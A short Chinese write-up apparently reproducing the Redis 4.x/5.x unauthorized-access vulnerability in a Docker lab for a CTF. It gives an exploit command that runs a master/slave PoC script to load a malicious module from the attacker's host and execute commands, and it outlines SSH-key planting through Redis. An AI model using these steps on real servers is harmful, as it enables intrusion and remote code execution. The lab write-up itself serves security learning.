Redis 4.x/5.x 未授權訪問漏洞
Redis未授權訪問在4.x/5.0.5以前版本下,我們可以使用master/slave模式加載遠程模塊,通過動態鏈接庫的方式執行任意命令。
漏洞復現
最近碰到ctf的題目是通過ssrf和redis的未授權訪問打入內網getshell,想着用docker復現以下此漏洞。
拉取環境開啓環境後,如圖
使用redis-cli -h your-ipj即可連接redis數據庫,並且可以清空所有數據,即有未授權訪問漏洞
使用poc實現遠程命令執行
先將下載好的poc目錄下的redismoudleSDK進行編譯
但是即使進行編譯之後還是會報錯,因爲沒有裝redis-cli
因爲之前ubantu靶機裝了但是kali沒有裝(後來發現並沒有影響仔細找錯甚至看了整個腳本)原來是我的8888端口號被佔用了執行不了
python3 redis-master.py -r 192.168.11.147 -p 6379 -L 192.168.11.129 -p 8888 -f RedisModulesSDK/exp.so -c “id”
從而實現命令執行
此外還有一種方法就是利用ssh密鑰
使用我的kali對ssh生成一個空密碼,將密鑰傳輸到靶機即redis上,然後可以使用ssh免密登錄。
至此復現完成